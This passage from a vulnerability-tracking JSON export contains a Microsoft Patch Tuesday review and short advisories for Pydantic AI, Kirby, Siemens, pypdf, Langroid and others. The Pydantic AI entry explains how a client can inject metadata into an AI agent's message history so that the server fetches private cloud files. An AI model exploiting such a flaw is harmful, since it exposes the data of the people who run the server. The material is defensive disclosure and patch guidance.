Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62748\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62699\n  Windows Universal Disk\n  Format File System Driver (UDFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61926\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62721\n  Windows User-Mode\n  Power Service (UMPS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62711\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62712\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62733\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62876\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62877\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62885\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65678\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65775\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65776\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62730\n  Windows Wired\n  AutoConfig Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61349\n  Windows Work Folder\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61939\n  Winlogon Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56179\n  Windows\n  Network Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \nAs with last month, I\u2019ll do my best to summarize everything else in this release, but assume there are details I miss that are relevant to your environment.\nLooking at the remaining Critical-rated patches, you are safe to ignore the scariest looking ones, including the CVSS 10\u2019s. These have already been mitigated by Microsoft and do not count towards today\u2019s total of 398. The iSCSI Target service, however, is a CVSS 9.8, but it\u2019s not installed by default. Microsoft notes a DHCP Server heap overflow and a SharePoint deserialization bug are both listed as \u201cexploitation more likely\u201d. That SharePoint bug brought two EoP siblings along for the ride. And what would a Patch Tuesday be without Preview Pane exploit vectors in Office components? There are many in August, although there are a few Office bugs listed as Critical but without the Preview Pane vector. Odd. Then there\u2019s the mid-tier pile no one is proud of, but everybody needs to patch anyway: AD CS, RRAS, SSTP, and a matched pair in Device Health Attestation, all leaning on higher attack complexity as their only saving grace. Consider this a coin flip, not a shield. The bug in RMCAST is unauthenticated but requires an adjacent attacker. The bug in Key Guard is a bit interesting, as it could lead to an attacker gaining Virtual Trust Level 1 (VTL1) privileges. The final Critical-rated bug is in the RDP client, but it requires a user to connect to a malicious RDP server.\nMoving on to the other code execution bugs, SharePoint alone accounts for seven of these, six of them the same deserialization-of-untrusted-data flaw repeated almost verbatim across different code paths, all needing only low-privilege auth and no interaction. The seventh is an input-validation miss that needs no auth at all, just a harder-to-pull-off attack chain. LDAP and SMBv3 each draw a matching pair of patches. The LDAP bugs are a heap overflow and a use-after-free, both needing a user to interact with something first; the SMBv3 pair is twin heap overflows. Visual Studio Code adds three of its own: missing authorization, OS command injection, and straight code injection, all requiring a user to open or run something. The AI-coding-tool-vuln-of-the-month tradition continues uninterrupted. The rest of the CVSS 8.1\u20138.8 tier is a grab bag with a common thread \u2014 LSASS and Exchange Server both go down to heap overflows with low-privilege access, Dynamics 365 On-Premises gets the SharePoint treatment (deserialization), and Active Directory Domain Services picks up a command-injection bug that needs a user's cooperation. Add one apiece for Teams, Power BI, Outlook, and a pair for Windows Media Foundation, plus a higher-complexity trio: RPC Runtime Library, Windows TCP/IP, and a second iSCSI Target Service bug. All needing unusual attack conditions to line up, which buys you a little time but not an excuse. Then the file-format mountain: seventeen Excel bugs, six in Access, four apiece in Office and Office Word, one plain Word, one PowerPoint, one .NET Core. Remote Desktop Client's other three bugs sit at a comparatively modest 7.5, but don't read too much comfort into that \u2014 all three need high attack complexity and user interaction, which is precisely the combination phishing campaigns are built to satisfy. Closing out RCE category, there are two more DNS Server bugs, a DHCP Client use-after-free needing local low-privilege access, a Universal Disk Format driver bug that requires physical media and a Windows Codecs Library.\nThere are nearly 180 privilege escalation bugs fixed this month, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. Believe it or not, that leaves only about 20 bugs to discuss. Access control keeps failing in the same places: SharePoint draws two EoPs, then contributes a third via server-side request forgery, and a fourth through cross-site scripting (XSS) that at least needs a user to click something first. Entra Connect adds a SQL injection, .NET Framework an incorrect-authorization bug, and Azure CycleCloud adds a missing-authorization flaw, That\u2019s five different products with the same underlying lesson about checking who\u2019s allowed to do what. Windows Telephony Service is the surprise repeat offender, landing four separate EoPs, but four bugs in one dusty legacy service in a single release is the kind of pattern that makes you wonder who's still dialing in. The rest is a genuine grab bag: Key Guard gets a heap overflow sitting on the trust chain below the OS, DHCP Client and Narrator Braille both fall to local low-privilege bugs, .NET picks up an uncaught exception that actually changes scope, .NET Framework adds a path-traversal bug requiring a click, GitHub Copilot and VS Code get an OS command injection needing the same, Azure Storage Explorer falls to XSS, Azure Monitor Agent and OneDrive for macOS both need high privileges just to start, which caps their real-world urgency, and Exchange Server closes it out with an SSRF bug whose blast radius Microsoft itself rates as confidentiality-only, no integrity or availability hit.\nThere are 11 SFB bugs this month, all Important, none exploited or publicly disclosed. Visual Studio Code accounts for four, Python extension included: one fails open outright, the other three trip on bad authorization checks \u2014 all need a click, which is a low bar in a tool people click through constantly. PowerShell adds a code-injection bypass, and Copilot Chat gets one as well. Exchange Server and Windows Defender Firewall Service both via have missing authorization bugs. The .NET service has a bug via HTTP request smuggling, Active Directory via weak encryption, and Schannel via bad signature verification. In the low individual urgency category, both Schannel and AD have bugs with  \u201cbroken crypto trust\u201d are worth a second look despite the low scores.\nLooking at the info disclosure bugs, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. There are few others of note. The CVSS 6.5 tier is the one with more bite: Windows DHCP Server alone accounts for eight of these, three more hit Remote Desktop Client, two hit SMB Client, two hit Excel, and singles land in PowerShell, .NET, Azure CycleCloud, two Dynamics products, SharePoint, Teams iOS, and VS Code. All are unauthenticated, network-reachable memory leaks, but DHCP Server picking up eight in one release is a pattern, not noise. Everything else sits at 5.5 or below and is almost entirely \"leaks unspecified memory contents,\" differing mainly by which component leaks it. Office file formats dominate with roughly twenty bugs split across Excel, Word, Office generically, Office Graphics, and PowerPoint. Win32k contributes four, NTFS five, GDI/GDI+ three, Event Logging and WMI two apiece, DWM Core two, AMD Zen two. The remaining singles clear out fine during a normal patch cycle without special urgency.\nMoving on to spoofing patches for August, SharePoint dominates with eleven bugs, mostly stored XSS letting an authenticated attacker spoof content, plus a mixed bag of deserialization, code injection, SSRF, and credential exposure at the low end. Outside SharePoint, Teams for Android/iOS gets a high-CVSS (8.8) XSS bug. Exchange Server gets one too. Windows NAT has a scope-changing origin-validation flaw reachable from an adjacent network, and Outlook closes it out with a credential-exposure spoofing bug.\nThere are 14 DoS bugs getting patched this month. NULL pointer dereferences dominate: TCP/IP, iSCSI Target Service, Windows Graphics Kernel, and Remote Registry Service (twice) all crash the same way, unauthenticated over the network. iSCSI Target Service adds a second DoS via heap overflow, with three hits total this release counting its RCE. Resource-exhaustion bugs cover .NET, RPC, DHCP Client, and Microsoft Identity - all unauthenticated, all just flood-and-crash. The rest need local or elevated access: Exchange Server, Windows Network File System, and path/link-resolution bug in Windows Management Services. In other words, nothing exotic. Just patch it in the normal cycle, with a nod to Remote Registry Service and iSCSI Target Service for repeat appearances.\nFinally, there are a handful of tampering bugs receiving patches this month. They start with SharePoint via incorrect authorization. The Windows HTTP Protocol Stack has a bug via a partial string comparison flaw reachable from an adjacent network, and Windows Hello via cleartext storage of sensitive data locally. The Hello one is the one worth a second glance. Biometric auth storing something in the clear isn't a great look, even at a modest 5.5.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on September 8, just after Labor Day here is the US. I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-08-11T19:01:45.806337Z"}, {"uuid": "2e449bc2-e4e4-4fa6-8cec-f65e4c5ec95f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54249", "type": "seen", "source": "https://gist.github.com/alon710/d833b9431a8f61aeff2a0496f83968ee", "content": "# CVE-2026-54249: CVE-2026-54249: Server-Side Request Forgery via Confused Deputy in Pydantic AI UI Adapters\n\n> **CVSS Score:** 6.8\n> **Published:** 2026-08-13\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54249\n\n## Summary\nA Server-Side Request Forgery (SSRF) / Confused Deputy vulnerability has been identified in Pydantic AI UI Adapters (such as VercelAIAdapter). Under certain conditions, a malicious client can supply manipulated message history with provider metadata that forces the server to resolve files within privileged cloud environments (AWS S3, Google Cloud Storage) or model providers. This occurs because the adapters deserialize client-provided metadata structures directly into UploadedFile instances without validation, which are subsequently fetched using high-privilege server credentials.\n\n## TL;DR\nA Confused Deputy SSRF vulnerability in Pydantic AI UI adapters allows remote, unauthenticated attackers to retrieve and exfiltrate private cloud storage files by injecting manipulated metadata structures into client-submitted message histories.\n\n## Technical Details\n\n- **CWE ID**: CWE-918\n- **Attack Vector**: Network\n- **CVSS v3.1 Score**: 6.8\n- **EPSS Score**: 0.00197\n- **Impact**: Partial Confidentiality Loss (High)\n- **Exploit Status**: none\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Pydantic AI UI Adapters (VercelAIAdapter, AGUIAdapter)\n- **pydantic-ai**: >= 1.65.0, < 1.106.0 (Fixed in: `1.106.0`)\n- **pydantic-ai-slim**: >= 1.65.0, < 1.106.0 (Fixed in: `1.106.0`)\n- **pydantic-ai**: >= 2.0.0b1, < 2.0.0b6 (Fixed in: `2.0.0b6`)\n\n## Mitigation\n\n- Upgrade Pydantic AI dependencies to v1.106.0 or v2.0.0b6.\n- Ensure `preserve_file_data` is left at its default value of `False`.\n- Enforce Least Privilege IAM roles on resources processing model agent workloads.\n\n**Remediation Steps:**\n1. Identify all deployment pipelines referencing `pydantic-ai` or `pydantic-ai-slim`.\n2. Update requirements files (requirements.txt, pyproject.toml, Pipfile) to target `>=1.106.0` or `>=2.0.0b6`.\n3. Deploy the updated application and monitor server logs for `UserWarning` messages from `pydantic_ai.ui._adapter`.\n4. Review the permissions of AWS IAM roles or GCP service accounts assigned to the application servers and restrict access to private buckets.\n\n## References\n\n- [GitHub Security Advisory GHSA-h7p7-w5gc-xj3w](https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-h7p7-w5gc-xj3w)\n- [NVD - CVE-2026-54249](https://nvd.nist.gov/vuln/detail/CVE-2026-54249)\n- [CVE.org - CVE-2026-54249](https://www.cve.org/CVERecord?id=CVE-2026-54249)\n- [Pydantic AI Release v1.106.0](https://github.com/pydantic/pydantic-ai/releases/tag/v1.106.0)\n- [Pydantic AI Release v2.0.0b6](https://github.com/pydantic/pydantic-ai/releases/tag/v2.0.0b6)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54249) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-13T16:32:36.672962Z"}, {"uuid": "4dda02a8-e53f-4bce-a943-207f1f54e2c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54433", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mq7vmy67ro2v", "content": "A Roundcube zero-click XSS, CVE-2026-54433, lets an email run script with no click. Roundcube 1.7.2 also fixes a second stored XSS. Update now.\n\n#Roundcube #XSS #ZeroClick #Webmail #StoredXSS #CyberSecurity #Vulnerability #InfoSec", "creation_timestamp": "2026-07-09T15:01:27.199485Z"}, {"uuid": "8bdf58c2-97f0-4686-936c-ae333d619ad8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54800", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqa277wdxi2q", "content": "CVE-2026-54800 - Siemens SICORE and CPCI85 OPC UA Insecure Default Configuration\nCVE ID : CVE-2026-54800\n \n Published : July 9, 2026, 3:16 p.m. | 32\u00a0minutes ago\n \n Description : A vulnerability has been identified in CPCI85 Central Processing/Communication (All versions < V...", "creation_timestamp": "2026-07-09T16:23:13.467592Z"}, {"uuid": "2a308830-3b19-48ee-a23c-5ce3a71f31fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54799", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqa3brethk24", "content": "CVE-2026-54799 - Siemens CPCI85 and SICORE Improper Signature Verification Vulnerability\nCVE ID : CVE-2026-54799\n \n Published : July 9, 2026, 3:16 p.m. | 32\u00a0minutes ago\n \n Description : A vulnerability has been identified in CPCI85 Central Processing/Communication (All version...", "creation_timestamp": "2026-07-09T16:42:32.650282Z"}, {"uuid": "7896a07c-b3aa-46bd-8c7b-e8e611bdc722", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54798", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqa3kptfir27", "content": "CVE-2026-54798 - CPCI85 and SICORE Base System Denial of Service Vulnerability\nCVE ID : CVE-2026-54798\n \n Published : July 9, 2026, 3:16 p.m. | 32\u00a0minutes ago\n \n Description : A vulnerability has been identified in CPCI85 Central Processing/Communication (All versions < V26...", "creation_timestamp": "2026-07-09T16:47:32.888373Z"}, {"uuid": "4cef5b51-bf33-46d2-9c45-0beece04776f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54801", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqa3tocizy2x", "content": "CVE-2026-54801 - CPCI85 and SICORE Authentication Bypass Vulnerability\nCVE ID : CVE-2026-54801\n \n Published : July 9, 2026, 3:16 p.m. | 32\u00a0minutes ago\n \n Description : A vulnerability has been identified in CPCI85 Central Processing/Communication (All versions < V26.20), SI...", "creation_timestamp": "2026-07-09T16:52:33.427150Z"}, {"uuid": "7465efb8-c20a-4cdd-b8c7-feae56f58efb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54003", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqaegaiygi2r", "content": "CVE-2026-54003 - cms\nIf your Kirby site is behind a reverse proxy and has no user accounts, an attacker could install the admin panel remotely. This is a serious risk, especially if your site is\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cms #getkirby #composer #CVE #infosec", "creation_timestamp": "2026-07-09T19:26:06.719057Z"}, {"uuid": "86426a04-d26e-4104-b683-7ffda647d726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54003", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqagobxygh2k", "content": "CVE-2026-54003 - Kirby: External Initialization of the Panel on reverse proxy setups with the `Forwarded` header\nCVE ID : CVE-2026-54003\n \n Published : July 9, 2026, 7:17 p.m. | 31\u00a0minutes ago\n \n Description : Kirby is an open-source content management system. Prior to 4.9.4 a...", "creation_timestamp": "2026-07-09T20:06:28.515591Z"}, {"uuid": "77ab4af8-beea-4dc4-a5e3-8c84cd95a5de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54002", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqagxaj5e62x", "content": "CVE-2026-54002 - Kirby: Cross-site scripting (XSS) from incomplete HTML/XML sanitization in `Dom::sanitize()`\nCVE ID : CVE-2026-54002\n \n Published : July 9, 2026, 7:17 p.m. | 31\u00a0minutes ago\n \n Description : Kirby is an open-source content management system. Prior to 4.9.4 and ...", "creation_timestamp": "2026-07-09T20:11:24.139432Z"}, {"uuid": "70b5fb6a-f9be-429a-a0d2-fc39efff6688", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54695", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqahs45ntd2x", "content": "CVE-2026-54695 - Pipecat: Telephony WebSocket `/ws` Unauthenticated Call-Control Abuse via Attacker-Supplied Call SID\nCVE ID : CVE-2026-54695\n \n Published : July 9, 2026, 7:17 p.m. | 31\u00a0minutes ago\n \n Description : Pipecat is an open-source Python framework for building real-t...", "creation_timestamp": "2026-07-09T20:26:25.536708Z"}, {"uuid": "a5fea8f2-e387-436c-bba6-c1447494072b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54005", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqai4jjnxs24", "content": "CVE-2026-54005 - Kirby: `pages.access` permission is not checked in the `site/find` REST API route\nCVE ID : CVE-2026-54005\n \n Published : July 9, 2026, 7:17 p.m. | 31\u00a0minutes ago\n \n Description : Kirby is an open-source content management system. Prior to 4.9.4 and 5.4.4, Kirb...", "creation_timestamp": "2026-07-09T20:32:15.406001Z"}, {"uuid": "7ad9c3b4-1afc-414f-afb7-b4c9d77aac13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54406", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqaif74m6425", "content": "\ud83d\udccc CVE-2026-54406 - A malicious actor with access to the network and high privileges could exploit a Path Traversal vulnerability found in self-hosted instances of UniFi ... https://www.cyberhub.blog/cves/CVE-2026-54406", "creation_timestamp": "2026-07-09T20:37:06.561209Z"}, {"uuid": "4a0d4f67-32cb-4c1d-8e1d-0b627c4903fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54004", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqakhwvc2726", "content": "CVE-2026-54004 - Kirby: Access to files of top-level drafts is not protected by permissions\nCVE ID : CVE-2026-54004\n \n Published : July 9, 2026, 7:17 p.m. | 31\u00a0minutes ago\n \n Description : Kirby is an open-source content management system. Prior to 4.9.4 and 5.4.4, Kirby sites...", "creation_timestamp": "2026-07-09T21:14:25.804801Z"}, {"uuid": "b4ba8120-bc88-45c6-9480-ff4cb68fbba0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54651", "type": "seen", "source": "https://gist.github.com/alon710/29f907693324d6187f6b141f2c73d47b", "content": "# CVE-2026-54651: CVE-2026-54651: Infinite Loop Vulnerability in pypdf Article Thread Parser\n\n> **CVSS Score:** 5.5\n> **Published:** 2026-07-09\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54651\n\n## Summary\nAn infinite loop vulnerability exists in the pure-Python PDF library pypdf prior to version 6.13.1. When parsing or merging a crafted PDF file containing a cyclic Article/Thread structure, the library fails to exit its traversal loop. This causes the executing thread to hang indefinitely, leading to 100% CPU utilization and a denial of service. The vulnerability is tracked under CVE-2026-54651 and GHSA-g9xf-7f8q-9mcj, with a CVSS base score of 5.5. This technical report provides a root cause analysis, code review, exploitation vectors, and mitigation paths.\n\n## TL;DR\nA denial-of-service vulnerability in pypdf (< 6.13.1) allows attackers to trigger 100% CPU starvation by uploading a PDF containing cyclic Article structure definitions. The parser fails to detect sub-loops within the Thread linked list, resulting in an infinite execution loop. Upgrading to version 6.13.1 implements a visited-set lookup that mitigates this risk.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-835 (Loop with Unreachable Exit Condition)\n- **Attack Vector**: Local / File Parsing (AV:L)\n- **CVSS Score**: 5.5 (Medium, CVSS v3.1) / 6.9 (Medium, CVSS v4.0)\n- **EPSS Score**: 0.00111 (Percentile: 1.58%)\n- **Impact**: Denial of Service via 100% CPU starvation\n- **Exploit Status**: PoC documented, non-weaponized\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- pypdf library installations prior to version 6.13.1\n- Web applications utilizing pypdf to merge, append, or modify untrusted PDF files\n- **pypdf**: < 6.13.1 (Fixed in: `6.13.1`)\n\n## Mitigation\n\n- Upgrade pypdf to version 6.13.1 or higher.\n- Configure process-level execution timeouts to automatically kill hung worker threads.\n- Add defensive error handling to catch LimitReachedError exceptions in the application code.\n- Implement CPU resource limits on parsing containers to isolate resource exhaustion.\n\n**Remediation Steps:**\n1. Audit the software bill of materials (SBOM) and requirement configuration files to identify vulnerable pypdf installations.\n2. Update dependencies in requirements.txt or poetry.lock to require pypdf >= 6.13.1.\n3. Implement a try-except structure enclosing PDF modification operations to trap the LimitReachedError.\n4. Deploy updated software containers and verify execution limits are enforced in the orchestration environment.\n\n## References\n\n- [GitHub Pull Request #3839](https://github.com/py-pdf/pypdf/pull/3839)\n- [pypdf 6.13.1 Release Changelog](https://github.com/py-pdf/pypdf/releases/tag/6.13.1)\n- [GitHub Security Advisory GHSA-g9xf-7f8q-9mcj](https://github.com/py-pdf/pypdf/security/advisories/GHSA-g9xf-7f8q-9mcj)\n- [Fix Commit 5efe472](https://github.com/py-pdf/pypdf/commit/5efe472b07e36d1ae22c9991d744d013cfb2f214)\n- [NVD CVE-2026-54651 Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-54651)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54651) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-09T21:41:51.037198Z"}, {"uuid": "40815350-4326-4037-a199-9cbb703f29f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54526", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-48p8-g2fx-3wwm", "content": "", "creation_timestamp": "2026-08-13T16:35:09.648187Z"}, {"uuid": "cf582240-f3de-460f-ad15-6ee0bb4db628", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54984", "type": "published-proof-of-concept", "source": "Telegram/LmlXMJPccu58VvGU5aOjYbYbwZMsUyLpZXlM2w2Wis0P_HI", "content": "", "creation_timestamp": "2026-08-16T00:00:22.820992Z"}, {"uuid": "7848069a-17ff-4a9e-baf2-2a2eede79826", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54800", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116892728676419193", "content": "The severity is increased for this new vulnerability affecting Siemens CPCI85 Central Processing-Communication and SICORE Base system (CVE-2026-54800) https://vuldb.com/vuln/377209", "creation_timestamp": "2026-07-09T23:58:10.898203Z"}, {"uuid": "2fc6be66-ebb5-4b11-b08f-dbf2d7cd7a8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54876", "type": "seen", "source": "https://bsky.app/profile/nvnb.misskey.io.ap.brid.gy/post/3mshlag6z5kq2", "content": "\u3010JVN\u3011OpenSSL\u306eOCSP\u30ec\u30b9\u30dd\u30f3\u30b9\u691c\u8a3c\u306b\u304a\u3051\u308b\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u5074\u306e\u30e1\u30e2\u30ea\u30ea\u30fc\u30af\u306e\u8106\u5f31\u6027\uff08CVE-2026-54876\uff09\nhttps://jvn.jp/vu/JVNVU92139835/\n\nNVNB\u306f\u8106\u5f31\u6027\u60c5\u5831\u306e\u95b2\u89a7\u3092\u652f\u63f4\u3059\u308b\u30b5\u30fc\u30d3\u30b9\u3067\u3059\nhttps://nvnb.blossomsarchive.com/", "creation_timestamp": "2026-08-07T03:09:19.602099Z"}, {"uuid": "61411a5e-6ffe-4a05-a4a7-b1a1f11fb558", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54769", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mqawqmhsco2b", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-54769](https://github.com/langroid/langroid/security/advisories/GHSA-q9p7-wqxg-mrhc)\nLa...\nhttps://github.com/langroid/langroid/security/advisories/GHSA-q9p7-wqxg-mrhc #Vulnerability #CVE #ZeroDay", "creation_timestamp": "2026-07-10T00:54:01.802055Z"}, {"uuid": "77340e19-5cca-4b06-9303-a611e29b9983", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54769", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqax4hnaiu2c", "content": "\ud83d\udd34 CVE-2026-54769 - Critical (10)\n\nLangroid is a framework for building large-language-model-powered applications. Versions prior to...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54769/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-10T01:00:41.335014Z"}, {"uuid": "85e48df7-5613-4c6b-b9a7-700956ca5e0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54771", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqax4od5hu2i", "content": "\ud83d\udfe0 CVE-2026-54771 - High (8.1)\n\nLangroid is a framework for building large-language-model-powered applications. Prior to version ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54771/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-10T01:00:49.582849Z"}, {"uuid": "7d31363e-967c-474a-aff4-67ee614766ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54003", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116893445379245120", "content": "CVE-2026-54003 (CRITICAL, CVSS 9.1): getkirby Kirby CMS sites w/o users & behind certain reverse proxies risk remote admin creation via trusted IP headers. Upgrade to 4.9.4/5.4.4+ ASAP. More: https://radar.offseq.com/threat/cve-2026-54003-cwe-454-external-initialization-of--015a5d4d7df10357 #OffSeq #Vulnerability #KirbyCMS #InfoSec", "creation_timestamp": "2026-07-10T03:00:26.609075Z"}, {"uuid": "6ab592d2-3645-4cf5-a651-2b4ed13c1c2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54003", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mqb5spfugh24", "content": "CVE-2026-54003 (CRITICAL): getkirby Kirby CMS sites with no users & behind reverse proxies can be remotely taken over via IP header misuse. Upgrade to 4.9.4 or 5.4.4+ now. https://radar.offseq.com/threat/cve-2026-54003-cwe-454-external-initialization-of--015a5d4d7df10357 #OffSeq #KirbyCMS #Vulner...", "creation_timestamp": "2026-07-10T03:00:32.607362Z"}, {"uuid": "2452ec80-c184-4d67-ab7c-1ec9d2ce0dc4", 